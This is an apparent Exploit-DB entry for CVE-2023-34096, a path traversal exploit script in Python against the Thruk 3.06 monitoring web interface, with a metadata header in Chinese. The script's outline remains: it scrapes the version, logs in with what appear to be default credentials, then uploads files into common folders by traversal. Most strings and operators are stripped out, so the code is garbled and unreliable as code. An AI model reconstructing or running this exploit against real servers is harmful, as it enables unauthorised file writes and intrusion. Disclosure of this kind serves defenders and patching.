标题: Thruk Monitoring Web Interface 3.06 - Path Traversal EDB-ID: 51509 CVE: 2023-34096 类型: WEBAPPS 平台: PERL 发布日期: 2023-06-09 漏洞利用脚本: # Exploit Title: Thruk Monitoring Web Interface 3.06 - Path Traversal
# Date: 08-Jun-2023
# Exploit Author: Galoget Latorre (@galoget)
# CVE: CVE-2023-34096 (Galoget Latorre)
# Vendor Homepage: https://thruk.org/
# Software Link: https://github.com/sni/Thruk/archive/refs/tags/v3.06.zip
# Software Link + Exploit + PoC (Backup): https://github.com/galoget/Thruk-CVE-2023-34096
# CVE Author Blog: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html
# GitHub Security Advisory: https://github.com/sni/Thruk/security/advisories/GHSA-vhqc-649h-994h
# Affected Versions: <= 3.06
# Language: Python 3.x
# Tested on:
#  - Ubuntu 22.04.5 LTS 64-bit
#  - Debian GNU/Linux 10 (buster) 64-bit







 sys
 warnings
 requests
 bs4  BeautifulSoup
 termcolor  cprint







warningsfilterwarnings



headers  
     



 
    

    banner_text  
    banner_text


 
    
     sysargv  
        
        
        sysexit


 thruk_version
    
    
         thruk_version  
             thruk_versionreplace   
                cprint  attrs end  
                 end  
                cprint  attrs end  
                
                
                
                
                
                
                
                
                 
            
                cprint  attrs end  
                
                 
    
        cprint  attrs end  
        
         


 
    
    response  requestsgettarget headersheaders allow_redirects verify timeout
    html_soup  BeautifulSoupresponsetext 

        responsetext
        cprint  attrs end  
        
        sysexit
    
        
        version_link  html_soupfind_all  

         version_link    version_linkhas_attr
            thruk_version  version_linktextstrip
            cprint  attrs end  
            f
             thruk_version
        
            cprint  attrs end  
            
            sysexit


 
    
    
    error_url  target  

    
    error_response  requestsgeterror_url
                                  headersheaders
                                  allow_redirects
                                  verify
                                  timeout

    cprint  attrs end  
    
    
        
        html_soup  BeautifulSouperror_responsetext 
        error_report  html_soupfind_all  text
         error_report  
            
            error_report  error_reporterror_reportfinderror_reportfind
            cprint  attrs end  
            
            parsed_error_report  error_reportsplit
             error_line  parsed_error_report
                f
    
        cprint  attrs end  
        


 
    
    
    username   
    password   
    params   username  password

    cprint  attrs end  
    f

    
    login_url  

    session  requestsSession
    
    sessiongettarget headersheaders allow_redirects verify

    
    sessionposttarget  login_url dataparams headersheaders allow_redirects verify

    
    cookies  sessioncookiesget_dict

    
     cookiesget   
        cprint  attrs end  
        
        cprint  attrs end  
        f
         session
    
    
         cookiesget  
            cprint  attrs end  
            
            sysexit


 logged_session
    
    cprint  attrs end  
     end  
    cprint  attrs

    
    upload_url  

    
    common_folders  
                      
                      
                      
                      
                      
                      
                      
    

    
     target_folder  common_folders
        
        
        files    
        data   
                 
                 f
        

        upload_response  logged_sessionposttarget  upload_url
                                    datadata
                                    filesfiles
                                    headersheaders
                                    allow_redirects
                                    verify

        
            upload_response  upload_responsejson
             upload_responseget    upload_responseget  
                cprint  attrs end  
                f
             upload_responseget  
                cprint  attrs end  
                f
            
                cprint  attrs end  
                
        
            cprint  attrs end  
            



 __name__  
    banner
    usage_instructions

    
     sysargv  sysargvstartswith
        target  sysargv
    
        target  

    
      targetendswith
        target  

    cprint  attrs end  
    f

    
    scraped_thruk_version  get_thruk_version

    
    get_error_info

    
    vulnerable_status  check_vulnerabilityscraped_thruk_version

     vulnerable_status
        cprint  attrs end  
        

        
        option  lower
        

         option  
            cprint  attrs end  
            
            
            valid_session  get_thruk_session_auto_login
            
            cve_2023_34096_exploit_path_traversalvalid_session
         option  
            cprint  attrs end  
            
            sysexit
        
            cprint  attrs end  
            
            sysexit
    
        cprint  attrs end  
        
        sysexit URL: https://www.exploit-db.com/exploits/51509